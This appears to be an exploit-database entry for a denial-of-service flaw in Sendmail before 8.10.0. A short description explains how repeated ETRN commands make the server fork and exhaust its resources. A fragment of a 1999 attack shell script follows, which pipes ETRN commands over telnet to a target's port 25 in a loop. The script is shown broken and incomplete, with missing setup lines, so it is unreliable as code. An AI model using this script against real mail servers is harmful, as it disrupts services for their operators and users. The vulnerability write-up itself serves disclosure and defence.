[原文]Sendmail before 8.10.0 allows remote attackers to cause a denial of service by sending a series of ETRN commands then disconnecting from the server, while Sendmail continues to process the commands after the connection has been terminated.
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Eric Allman Sendmail 8.9.1/8.9.3 ETRN Denial of Service Vulnerability (EDBID:19701)
There is a low-bandwidth dos vulnerability in Sendmail. When a client connects to the sendmail smtpd and sends an ETRN command to the server, the server fork()s and sleeps for 5 seconds. If many ETRN commands are sent to a server, it is possible to exhaust system resources and cause a denial of service or even a reboot of the server.
echo "gurghfrbl.sh - (c) lcamtuf '99"
echo -n "Tickle"
while :; do
echo -n "."
while [ "$NIC" -lt "$COUNT" ]; do
echo "ETRN x"
) | telnet $TARGET 25 &>/dev/null &
killall -9 telnet &>/dev/null